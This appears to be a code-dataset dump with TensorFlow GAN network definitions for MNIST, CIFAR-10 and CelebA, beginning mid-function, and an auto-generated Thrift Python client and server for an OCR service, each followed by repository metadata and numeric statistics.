# output x = tf.reshape(x, [-1, 4 * 4 * 4 * net_dim]) x = linear(x, 1, sn=use_sn, update_collection=update_collection, name='linear') return tf.reshape(x, [-1]) def mnist_encoder(x, is_training=False, use_bn=False, net_dim=64, latent_dim=128): with tf.variable_scope('Encoder', reuse=tf.AUTO_REUSE): x = conv2d(x, net_dim, 5, 2, name='conv0') if use_bn: x = batch_norm(x, is_training=is_training, name='bn0') x = tf.nn.relu(x) x = conv2d(x, 2*net_dim, 5, 2, name='conv1') if use_bn: x = batch_norm(x, is_training=is_training, name='bn1') x = tf.nn.relu(x) x = conv2d(x, 4*net_dim, 5, 2, name='conv2') if use_bn: x = batch_norm(x, is_training=is_training, name='bn2') x = tf.nn.relu(x) x = tf.reshape(x, [-1, 4 * 4 * 4 * net_dim]) x = linear(x, 2*latent_dim, name='linear') return x[:, :latent_dim], x[:, latent_dim:] def cifar10_generator_resnet(z, is_training=False): with tf.variable_scope('Generator', reuse=tf.AUTO_REUSE): output = linear(z, 4 * 4 * 256, name='linear_0') output = tf.reshape(output, [-1, 4, 4, 256]) output = resblock_up(output, 256, is_training=is_training, name='block_0') output = resblock_up(output, 256, is_training=is_training, name='block_1') output = resblock_up(output, 256, is_training=is_training, name='block_2') # output layers output = batch_norm(output, is_training=is_training, name='g_bn') output = tf.nn.relu(output) output = conv2d(output, 3, 3, 1, name='conv_last') output = tf.tanh(output) return output def cifar10_discriminator_resnet(x, update_collection=None, is_training=False): with tf.variable_scope('Discriminator', reuse=tf.AUTO_REUSE): output = inblock(x, 128, sn=True, update_collection=update_collection, name='block_0') # 16 x 16 output = resblock_down(output, 128, sn=True, update_collection=update_collection, name='block_1') # 8 x 8 output = resblock_down(output, 128, sn=True, update_collection=update_collection, downsample=False, name='block_2') output = resblock_down(output, 128, sn=True, update_collection=update_collection, downsample=False, name='block_3') # output layers output = tf.nn.relu(output) output = tf.reduce_sum(output, [1, 2]) output = linear(output, 1, sn=True, update_collection=update_collection, name='linear') return tf.reshape(output, [-1]) def cifar10_generator(z, is_training=False): net_dim = 64 use_sn = False update_collection = None with tf.variable_scope('Generator', reuse=tf.AUTO_REUSE): output = linear(z, 4*4*8*net_dim, sn=use_sn, name='linear') output = batch_norm(output, is_training=is_training, name='bn_linear') output = tf.nn.relu(output) output = tf.reshape(output, [-1, 4, 4, 8*net_dim]) # deconv-bn-relu for i in range(3): output = deconv2d(output, 2**(2-i)*net_dim, sn=use_sn, name='deconv_' + str(i)) output = batch_norm(output, is_training=is_training, name='bn_' + str(i)) output = tf.nn.relu(output) # conv output = conv2d(output, 3, sn=use_sn, name='conv3') output = tf.tanh(output) return output def cifar10_discriminator(x, update_collection=None, is_training=False): net_dim = 64 use_sn = True with tf.variable_scope('Discriminator', reuse=tf.AUTO_REUSE): # block 1 x = conv2d(x, net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv0') x = lrelu(x) x = conv2d(x, net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv1') x = lrelu(x) # block 2 x = conv2d(x, 2*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv2') x = lrelu(x) x = conv2d(x, 2*net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv3') x = lrelu(x) # block 3 x = conv2d(x, 4*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv4') x = lrelu(x) x = conv2d(x, 4*net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv5') x = lrelu(x) # output x = conv2d(x, 8*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv6') x = tf.reshape(x, [-1, 4*4*8*net_dim]) x = linear(x, 1, sn=use_sn, update_collection=update_collection, name='linear') return tf.reshape(x, [-1]) def cifar10_encoder(x, is_training=False, use_bn=False, net_dim=64, latent_dim=128): with tf.variable_scope('Encoder', reuse=tf.AUTO_REUSE): x = conv2d(x, net_dim, 3, 1, name='conv0') if use_bn: x = batch_norm(x, is_training=is_training, name='bn0') x = tf.nn.relu(x) x = conv2d(x, 2*net_dim, 4, 2, name='conv1') if use_bn: x = batch_norm(x, is_training=is_training, name='bn1') x = tf.nn.relu(x) x = conv2d(x, 4*net_dim, 4, 2, name='conv2') if use_bn: x = batch_norm(x, is_training=is_training, name='bn2') x = tf.nn.relu(x) x = conv2d(x, 8*net_dim, 4, 2, name='conv3') if use_bn: x = batch_norm(x, is_training=is_training, name='bn3') x = tf.nn.relu(x) x = tf.reshape(x, [-1, 4 * 4 * 8 * net_dim]) x = linear(x, 2*latent_dim, name='linear') return x[:, :latent_dim], x[:, latent_dim:] def cifar10_encoder_resnet(x, is_training=False, use_bn=False, net_dim=64, latent_dim=128): with tf.variable_scope('Encoder', reuse=tf.AUTO_REUSE): output = inblock(x, 128, sn=False, name='block_0') # 16 x 16 output = resblock_down(output, 128, sn=False, name='block_1') # 8 x 8 output = resblock_down(output, 128, sn=False, downsample=False, name='block_2') output = resblock_down(output, 128, sn=False, downsample=False, name='block_3') # output layers output = tf.nn.relu(output) output = tf.reduce_sum(output, [1, 2]) output = linear(output, 2*latent_dim, sn=False, name='linear') return output[:, :latent_dim], output[:, latent_dim:] def celeba_generator(z, is_training=True): net_dim = 64 use_sn = False update_collection = None with tf.variable_scope('Generator', reuse=tf.AUTO_REUSE): output = linear(z, 4 * 4 * 8 * net_dim, sn=use_sn, name='linear') output = batch_norm(output, is_training=is_training, name='bn_linear') output = tf.reshape(output, [-1, 4, 4, 8 * net_dim]) # deconv-bn-relu for i in range(3): output = deconv2d(output, 2 ** (2 - i) * net_dim, sn=use_sn, name='deconv_' + str(i)) output = batch_norm(output, is_training=is_training, name='bn_' + str(i)) output = tf.nn.relu(output) # conv output = deconv2d(output, 3, sn=use_sn, name='deconv_out') output = tf.tanh(output) return output def celeba_generator_resnet(z, is_training=False): with tf.variable_scope('Generator', reuse=tf.AUTO_REUSE): output = linear(z, 4 * 4 * 256, name='linear_0') output = tf.reshape(output, [-1, 4, 4, 256]) output = resblock_up(output, 256, is_training=is_training, name='block_0') output = resblock_up(output, 256, is_training=is_training, name='block_1') output = resblock_up(output, 256, is_training=is_training, name='block_2') output = resblock_up(output, 256, is_training=is_training, name='block_3') # output layers output = batch_norm(output, is_training=is_training, name='g_bn') output = tf.nn.relu(output) output = conv2d(output, 3, 3, 1, name='conv_last') output = tf.tanh(output) return output def celeba_discriminator(x, update_collection=None, is_training=False): net_dim = 64 use_sn = True with tf.variable_scope('Discriminator', reuse=tf.AUTO_REUSE): # block 1 x = conv2d(x, net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv0') x = lrelu(x) x = conv2d(x, net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv1') x = lrelu(x) # block 2 x = conv2d(x, 2*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv2') x = lrelu(x) x = conv2d(x, 2*net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv3') x = lrelu(x) # block 3 x = conv2d(x, 4*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv4') x = lrelu(x) x = conv2d(x, 4*net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv5') x = lrelu(x) # block 4 x = conv2d(x, 4*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='conv6') x = lrelu(x) x = conv2d(x, 4*net_dim, 4, 2, sn=use_sn, update_collection=update_collection, name='conv7') x = lrelu(x) # output x = conv2d(x, 8*net_dim, 3, 1, sn=use_sn, update_collection=update_collection, name='output') x = tf.reshape(x, [-1, 4*4*8*net_dim]) x = linear(x, 1, sn=use_sn, update_collection=update_collection, name='linear') return tf.reshape(x, [-1]) def celeba_discriminator_resnet(x, update_collection=None, is_training=False): with tf.variable_scope('Discriminator', reuse=tf.AUTO_REUSE): output = inblock(x, 128, sn=True, update_collection=update_collection, name='block_0') # 16 x 16 output = resblock_down(output, 128, sn=True, update_collection=update_collection, name='block_1') # 8 x 8 output = resblock_down(output, 128, sn=True, update_collection=update_collection, downsample=False, name='block_2') output = resblock_down(output, 128, sn=True, update_collection=update_collection, downsample=False, name='block_3') output = resblock_down(output, 128, sn=True, update_collection=update_collection, downsample=False, name='block_4') # output layers output = tf.nn.relu(output) output = tf.reduce_sum(output, [1, 2]) output = linear(output, 1, sn=True, update_collection=update_collection, name='linear') return tf.reshape(output, [-1]) def celeba_encoder(x, is_training=False, use_bn=False, net_dim=64, latent_dim=128): with tf.variable_scope('Encoder', reuse=tf.AUTO_REUSE): x = conv2d(x, net_dim, 3, 1, name='conv0') if use_bn: x = batch_norm(x, is_training=is_training, name='bn0') x = tf.nn.relu(x) x = conv2d(x, 2*net_dim, 4, 2, name='conv1') if use_bn: x = batch_norm(x, is_training=is_training, name='bn1') x = tf.nn.relu(x) x = conv2d(x, 4*net_dim, 4, 2, name='conv2') if use_bn: x = batch_norm(x, is_training=is_training, name='bn2') x = tf.nn.relu(x) x = conv2d(x, 8*net_dim, 4, 2, name='conv3') if use_bn: x = batch_norm(x, is_training=is_training, name='bn3') x = tf.nn.relu(x) x = conv2d(x, 8*net_dim, 4, 2, name='conv4') if use_bn: x = batch_norm(x, is_training=is_training, name='bn3') x = tf.nn.relu(x) x = tf.reshape(x, [-1, 4 * 4 * 8 * net_dim]) x = linear(x, 2*latent_dim, name='linear') return x[:, :latent_dim], x[:, latent_dim:] def celeba_encoder_resnet(x, is_training=False, use_bn=False, net_dim=64, latent_dim=128): with tf.variable_scope('Encoder', reuse=tf.AUTO_REUSE): output = inblock(x, 128, sn=False, name='block_0') # 16 x 16 output = resblock_down(output, 128, sn=False, name='block_1') # 8 x 8 output = resblock_down(output, 128, sn=False, downsample=False, name='block_2') output = resblock_down(output, 128, sn=False, downsample=False, name='block_3') output = resblock_down(output, 128, sn=False, downsample=False, name='block_4') # output layers output = tf.nn.relu(output) output = tf.reduce_sum(output, [1, 2]) output = linear(output, 2*latent_dim, sn=False, name='linear') return output[:, :latent_dim], output[:, latent_dim:] GENERATOR_DICT = {'mnist': [mnist_generator, mnist_generator], 'f-mnist': [mnist_generator, mnist_generator], 'cifar-10': [cifar10_generator, cifar10_generator_resnet], 'celeba': [celeba_generator, celeba_generator_resnet]} DISCRIMINATOR_DICT = {'mnist': [mnist_discriminator, mnist_discriminator], 'f-mnist': [mnist_discriminator, mnist_discriminator], 'cifar-10': [cifar10_discriminator, cifar10_discriminator_resnet], 'celeba': [celeba_discriminator, celeba_discriminator_resnet]} ENCODER_DICT = {'mnist': [mnist_encoder, mnist_encoder], 'f-mnist': [mnist_encoder, mnist_encoder], 'cifar-10': [cifar10_encoder, cifar10_encoder_resnet], 'celeba': [celeba_encoder, celeba_encoder_resnet] } def get_generator_fn(dataset_name, use_resblock=False): if use_resblock: return GENERATOR_DICT[dataset_name][1] else: return GENERATOR_DICT[dataset_name][0] def get_discriminator_fn(dataset_name, use_resblock=False, use_label=False): if use_resblock: return DISCRIMINATOR_DICT[dataset_name][1] else: return DISCRIMINATOR_DICT[dataset_name][0] def get_encoder_fn(dataset_name, use_resblock=False): if use_resblock: return ENCODER_DICT[dataset_name][1] else: return ENCODER_DICT[dataset_name][0]
42.215847
123
0.628827
2,272
15,451
4.065141
0.044454
0.128194
0.078605
0.114335
0.934062
0.899199
0.872456
0.870182
0.862062
0.851559
0
0.041998
0.235648
15,451
365
124
42.331507
0.740051
0.019093
0
0.7603
0
0
0.053164
0
0
0
0
0
0
1
0.067416
false
0
0.007491
0
0.153558
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5f42fbc2c20d990473c35df4376188ea0f812e08
25,755
py
Python
python/tassadar_client/gen_py/tassadar/TassadarServer.py
shenfei/tassadar_ocr
f288ce403231979b1557ec8ffb8b54e487b7cabe
[ "Apache-2.0" ]
null
null
null
python/tassadar_client/gen_py/tassadar/TassadarServer.py
shenfei/tassadar_ocr
f288ce403231979b1557ec8ffb8b54e487b7cabe
[ "Apache-2.0" ]
2
2019-02-24T11:20:51.000Z
2019-03-03T14:24:13.000Z
python/tassadar_client/gen_py/tassadar/TassadarServer.py
shenfei/tassadar_ocr
f288ce403231979b1557ec8ffb8b54e487b7cabe
[ "Apache-2.0" ]
null
null
null
# # Autogenerated by Thrift Compiler (0.11.0) # # DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING # # options string: py # from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException from thrift.protocol.TProtocol import TProtocolException from thrift.TRecursive import fix_spec import sys import logging from .ttypes import * from thrift.Thrift import TProcessor from thrift.transport import TTransport all_structs = [] class Iface(object): def version(self): pass def get_ocr(self, image): """ Parameters: - image """ pass def line_ocr(self, image): """ Parameters: - image """ pass def cut_image(self, image, cut_type): """ Parameters: - image - cut_type """ pass class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot = self._oprot = iprot if oprot is not None: self._oprot = oprot self._seqid = 0 def version(self): self.send_version() return self.recv_version() def send_version(self): self._oprot.writeMessageBegin('version', TMessageType.CALL, self._seqid) args = version_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_version(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = version_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "version failed: unknown result") def get_ocr(self, image): """ Parameters: - image """ self.send_get_ocr(image) return self.recv_get_ocr() def send_get_ocr(self, image): self._oprot.writeMessageBegin('get_ocr', TMessageType.CALL, self._seqid) args = get_ocr_args() args.image = image args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_get_ocr(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = get_ocr_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "get_ocr failed: unknown result") def line_ocr(self, image): """ Parameters: - image """ self.send_line_ocr(image) return self.recv_line_ocr() def send_line_ocr(self, image): self._oprot.writeMessageBegin('line_ocr', TMessageType.CALL, self._seqid) args = line_ocr_args() args.image = image args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_line_ocr(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = line_ocr_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "line_ocr failed: unknown result") def cut_image(self, image, cut_type): """ Parameters: - image - cut_type """ self.send_cut_image(image, cut_type) return self.recv_cut_image() def send_cut_image(self, image, cut_type): self._oprot.writeMessageBegin('cut_image', TMessageType.CALL, self._seqid) args = cut_image_args() args.image = image args.cut_type = cut_type args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_cut_image(self): iprot = self._iprot (fname, mtype, rseqid) = iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(iprot) iprot.readMessageEnd() raise x result = cut_image_result() result.read(iprot) iprot.readMessageEnd() if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, "cut_image failed: unknown result") class Processor(Iface, TProcessor): def __init__(self, handler): self._handler = handler self._processMap = {} self._processMap["version"] = Processor.process_version self._processMap["get_ocr"] = Processor.process_get_ocr self._processMap["line_ocr"] = Processor.process_line_ocr self._processMap["cut_image"] = Processor.process_cut_image def process(self, iprot, oprot): (name, type, seqid) = iprot.readMessageBegin() if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot) return True def process_version(self, seqid, iprot, oprot): args = version_args() args.read(iprot) iprot.readMessageEnd() result = version_result() try: result.success = self._handler.version() msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("version", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_get_ocr(self, seqid, iprot, oprot): args = get_ocr_args() args.read(iprot) iprot.readMessageEnd() result = get_ocr_result() try: result.success = self._handler.get_ocr(args.image) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("get_ocr", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_line_ocr(self, seqid, iprot, oprot): args = line_ocr_args() args.read(iprot) iprot.readMessageEnd() result = line_ocr_result() try: result.success = self._handler.line_ocr(args.image) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("line_ocr", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_cut_image(self, seqid, iprot, oprot): args = cut_image_args() args.read(iprot) iprot.readMessageEnd() result = cut_image_result() try: result.success = self._handler.cut_image(args.image, args.cut_type) msg_type = TMessageType.REPLY except TTransport.TTransportException: raise except TApplicationException as ex: logging.exception('TApplication exception in handler') msg_type = TMessageType.EXCEPTION result = ex except Exception: logging.exception('Unexpected exception in handler') msg_type = TMessageType.EXCEPTION result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error') oprot.writeMessageBegin("cut_image", msg_type, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class version_args(object): def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('version_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(version_args) version_args.thrift_spec = ( ) class version_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.STRING: self.success = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('version_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success.encode('utf-8') if sys.version_info[0] == 2 else self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(version_result) version_result.thrift_spec = ( (0, TType.STRING, 'success', 'UTF8', None, ), # 0 ) class get_ocr_args(object): """ Attributes: - image """ def __init__(self, image=None,): self.image = image def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.image = iprot.readBinary() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('get_ocr_args') if self.image is not None: oprot.writeFieldBegin('image', TType.STRING, 1) oprot.writeBinary(self.image) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(get_ocr_args) get_ocr_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'image', 'BINARY', None, ), # 1 ) class get_ocr_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.STRING: self.success = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('get_ocr_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success.encode('utf-8') if sys.version_info[0] == 2 else self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(get_ocr_result) get_ocr_result.thrift_spec = ( (0, TType.STRING, 'success', 'UTF8', None, ), # 0 ) class line_ocr_args(object): """ Attributes: - image """ def __init__(self, image=None,): self.image = image def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.image = iprot.readBinary() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('line_ocr_args') if self.image is not None: oprot.writeFieldBegin('image', TType.STRING, 1) oprot.writeBinary(self.image) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(line_ocr_args) line_ocr_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'image', 'BINARY', None, ), # 1 ) class line_ocr_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.STRING: self.success = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('line_ocr_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success.encode('utf-8') if sys.version_info[0] == 2 else self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(line_ocr_result) line_ocr_result.thrift_spec = ( (0, TType.STRING, 'success', 'UTF8', None, ), # 0 ) class cut_image_args(object): """ Attributes: - image - cut_type """ def __init__(self, image=None, cut_type=None,): self.image = image self.cut_type = cut_type def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.image = iprot.readBinary() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.BYTE: self.cut_type = iprot.readByte() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('cut_image_args') if self.image is not None: oprot.writeFieldBegin('image', TType.STRING, 1) oprot.writeBinary(self.image) oprot.writeFieldEnd() if self.cut_type is not None: oprot.writeFieldBegin('cut_type', TType.BYTE, 2) oprot.writeByte(self.cut_type) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(cut_image_args) cut_image_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'image', 'BINARY', None, ), # 1 (2, TType.BYTE, 'cut_type', None, None, ), # 2 ) class cut_image_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.LIST: self.success = [] (_etype3, _size0) = iprot.readListBegin() for _i4 in range(_size0): _elem5 = iprot.readBinary() self.success.append(_elem5) iprot.readListEnd() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('cut_image_result') if self.success is not None: oprot.writeFieldBegin('success', TType.LIST, 0) oprot.writeListBegin(TType.STRING, len(self.success)) for iter6 in self.success: oprot.writeBinary(iter6) oprot.writeListEnd() oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(cut_image_result) cut_image_result.thrift_spec = ( (0, TType.LIST, 'success', (TType.STRING, 'BINARY', False), None, ), # 0 ) fix_spec(all_structs) del all_structs
32.89272
134
0.595574
2,797
25,755
5.217018
0.06364
0.015419
0.027755
0.013158
0.844024
0.822437
0.803111
0.778509
0.772341
0.772341
0
0.003833
0.301029
25,755
782
135
32.934783
0.806744
0.019336
0
0.780328
1
0
0.037312
0
0
0
0
0
0
1
0.127869
false
0.006557
0.013115
0.039344
0.254098
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
